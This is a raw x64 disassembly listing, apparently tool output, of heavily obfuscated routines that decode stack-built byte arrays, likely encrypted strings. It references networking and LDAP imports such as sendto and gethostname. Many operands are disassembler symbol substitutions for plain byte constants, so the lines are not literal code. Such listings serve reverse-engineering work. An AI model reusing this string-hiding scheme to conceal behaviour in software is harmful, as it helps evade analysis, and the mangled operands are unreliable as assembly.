jmp 0x140217f32
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140217cd4
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140217eff
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140217d01
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140217fd1
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140217a4a
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x140217e71
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140217d4d
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140217bbc
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140217d79
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140217ffd
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140217da6
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140217fce
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140217dc3
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140217f90
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140217df0
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140217f79
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140217a86
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140217f56
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xeb0]
sub dil, al
sub dil, 0x20
jmp 0x140217f9d
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xeb0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xeb0], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x140217ffd
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140217fd1
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140217fa3
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140217f56
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add r9, rsi
jmp 0x140217f79
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, rsi
jmp 0x14021805c
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xeb0], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14021805c
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14021804d
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xeb0]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x14021768c
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
jmp 0x140217684
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14021766e
lea rdx, [rbp + 0x16a10c0]
jmp 0x1402180c2
lea rdx, [rbp + 0x6bcc4c]
jmp 0x1402180c2
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x198]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2a70]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1402180f7
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x2a70]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2a70]
call fcn.140266950
nop
lea rcx, [rbp + 0x2a70]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x960], 0x9b
mov byte [rbp + 0x961], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x962], 0x90
mov byte [rbp + 0x963], 0xdb
mov byte [rbp + 0x964], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x965], Ordinal_217
mov byte [rbp + 0x966], 0x7b
mov byte [rbp + 0x967], Ordinal_217
mov byte [rbp + 0x968], 0x43
mov byte [rbp + 0x969], Ordinal_211
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x96b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x96c], 0x5e
mov byte [rbp + 0x96d], Ordinal_211
mov byte [rbp + 0x96e], 0x5d
mov byte [rbp + 0x96f], Ordinal_211
mov byte [rbp + 0x970], WSAGetLastError
mov byte [rbp + 0x971], 0xc9
mov byte [rbp + 0x972], 0x7a
mov byte [rbp + 0x973], 0xcb
mov byte [rbp + 0x974], Ordinal_79
mov byte [rbp + 0x975], Ordinal_200
mov byte [rbp + 0x976], 0x64
mov byte [rbp + 0x977], Ordinal_200
mov byte [rbp + 0x978], 0x54
mov byte [rbp + 0x979], 0xc1
mov byte [rbp + 0x97a], 0x5b
mov byte [rbp + 0x97b], Ordinal_200
mov byte [rbp + 0x97c], 0x9f
mov byte [rbp + 0x97d], 0x3d
mov byte [rbp + 0x97e], 0x9a
mov byte [rbp + 0x97f], 0x3f
mov byte [rbp + 0x980], 0x84
mov byte [rbp + 0x981], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x982], 0xa8
mov byte [rbp + 0x983], Ordinal_60
mov byte [rbp + 0x984], 0xad
mov byte [rbp + 0x985], gethostname
mov byte [rbp + 0x986], 0xb8
mov byte [rbp + 0x987], Ordinal_60
mov byte [rbp + 0x988], 0xad
mov byte [rbp + 0x989], Ordinal_50
mov byte [rbp + 0x98a], 0xa0
mov byte [rbp + 0x98b], gethostname
mov byte [rbp + 0x98c], 0xbf
mov byte [rbp + 0x98d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x98e], 0x78
mov byte [rbp + 0x98f], Ordinal_50
mov byte [rbp + 0x990], Ordinal_143
mov byte [rbp + 0x991], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x992], 0xb3
mov byte [rbp + 0x993], Ordinal_46
mov byte [rbp + 0x994], 0xb2
mov byte [rbp + 0x995], Ordinal_41
mov byte [rbp + 0x996], Ordinal_41
mov byte [rbp + 0x997], Ordinal_41
xor eax, eax
mov qword [rbp + 0x998], rax
mov dword [rbp + 0x9a0], eax
mov word [rbp + 0x9a4], ax
mov byte [rbp + 0x9a6], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140218dcd
movzx r8d, byte [rbp + r9 + 0x960]
mov rdx, r8
cmp rdi, r9
ja 0x140218dc4
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140218340
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x140218377
je 0x140218d41
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140218d12
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140218cef
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140218ca1
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140218dbb
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1402183a8
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1402183e9
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140218c90
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140218c6d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140218c25
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140218bff
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140218b72
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140218811
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402187fd
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1402187db
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1402187c9
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1402187a7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140218793
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140218771
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14021875d
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140218d99
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140218d73
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140218597
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140218571
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14021854f
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140218746
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1402186c0
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1402186ac
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14021868a
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140218676
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140218654
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140218632
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140218611
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1402185ef
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1402185db
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1402185b9
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1402183f6
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1402183f6
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1402183e9
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218377
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x140218308
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140218cc2
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x140218950
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140218d0d
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140218b42
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140218d2f
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140218d32
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140218b81
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140218bc7
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14021888d
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x140218b21
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140218a1b
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x140218b14
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, ntohl
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140218cc2
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140218823
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140218b81
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x140218d32
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140218c0e
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140218c42
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x140218c7c
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x140218cea
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_30
jmp 0x140218cb0
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140218875
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x140218b4c
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14021890d
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402186dd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402188a4
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218d5c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402188c1
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x140218b81
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402188ec
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x140218d32
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140218832
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140218c7c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140218938
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x140218cc2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140218967
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218cea
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140218992
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x140218d2f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1402189bd
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140218b93
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1402189ec
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218bc7
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1402186dd
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140218d5c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140218a38
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14021888d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140218a55
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140218b81
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140218a72
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140218c0e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140218a9d
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140218c42
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140218ac8
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140218d0d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140218ae5
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140218950
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140218714
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140218cc2
mov byte [rbp + r9 + 0x960], bl
jmp 0x140218d6b
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x960]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x140218c42
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x960]
jmp 0x140218b8e
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x960], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x960], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140218d5c
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218d2f
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
jmp 0x140218d2f
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140218d0d
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140218cb0
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
add r10, rsi
jmp 0x140218d0d
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x140218d6b
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140218d6b
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x960]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1402182f5
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402182f2
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1402182e2
lea rdx, [rbp + 0x16f1090]
jmp 0x140218dd4
lea rdx, [rbp + 0x68a3f4]
jmp 0x140218dd4
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1b8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b80]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140218e09
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2b80]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2b80]
call fcn.140266950
nop
lea rcx, [rbp + 0x2b80]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x840], 0xcb
mov byte [rbp + 0x841], Ordinal_143
mov byte [rbp + 0x842], 0xac
mov byte [rbp + 0x843], 0xf3
mov byte [rbp + 0x844], Ordinal_79
mov byte [rbp + 0x845], 0xf1
mov byte [rbp + 0x846], WSAStartup
mov byte [rbp + 0x847], 0xf7
mov byte [rbp + 0x848], 0x55
mov byte [rbp + 0x849], 0xf5
mov byte [rbp + 0x84a], 0xa2
mov byte [rbp + 0x84b], 0xfb
mov byte [rbp + 0x84c], 0x66
mov byte [rbp + 0x84d], 0xf9
mov byte [rbp + 0x84e], 0x55
mov byte [rbp + 0x84f], 0xff
mov byte [rbp + 0x850], 0x59
mov byte [rbp + 0x851], 0xfd
mov byte [rbp + 0x852], WSAStartup
mov byte [rbp + 0x853], 0xe3
mov byte [rbp + 0x854], 0x47
mov byte [rbp + 0x855], 0xe1
mov byte [rbp + 0x856], Ordinal_79
mov byte [rbp + 0x857], 0xe7
mov byte [rbp + 0x858], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x859], 0xe5
mov byte [rbp + 0x85a], 0x42
mov byte [rbp + 0x85b], 0xeb
mov byte [rbp + 0x85c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85d], 0xe9
mov byte [rbp + 0x85e], r15b
mov byte [rbp + 0x85f], 0xef
mov byte [rbp + 0x860], 0xb8
mov byte [rbp + 0x861], 0xed
mov byte [rbp + 0x862], 0x87
mov byte [rbp + 0x863], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x864], 0x44
mov byte [rbp + 0x865], Ordinal_211
mov byte [rbp + 0x866], r15b
mov byte [rbp + 0x867], Ordinal_217
mov byte [rbp + 0x868], 0x81
mov byte [rbp + 0x869], Ordinal_217
mov byte [rbp + 0x86a], 0x7e
mov byte [rbp + 0x86b], 0xdb
mov byte [rbp + 0x86c], 0x7c
mov byte [rbp + 0x86d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x86e], WSAStartup
mov byte [rbp + 0x86f], 0xdf
mov byte [rbp + 0x870], Ordinal_143
mov byte [rbp + 0x871], 0xdd
mov byte [rbp + 0x872], 0x64
mov byte [rbp + 0x873], Ordinal_200
mov byte [rbp + 0x874], WSAGetLastError
mov byte [rbp + 0x875], 0xc1
mov byte [rbp + 0x876], 0x54
mov byte [rbp + 0x877], Ordinal_200
mov byte [rbp + 0x878], Ordinal_200
mov byte [rbp + 0x879], Ordinal_200
xor eax, eax
mov dword [rbp + 0x87a], eax
mov word [rbp + 0x87e], ax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x140219bdb
movzx r8d, byte [rbp + r9 + 0x840]
mov r11, r8
cmp rdi, r9
ja 0x140219bd2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140219047
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x140219081
je 0x140219b45
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140219aee
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140219a98
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140219a6f
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140219a23
cmp r10, r9
ja 0x140219bc9
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x1402190b2
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x1402190e6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140219a04
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402199e1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402199b2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140219994
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140219660
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14021963f
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14021962b
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140219608
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402195f4
lea rax, [r10 + 8]
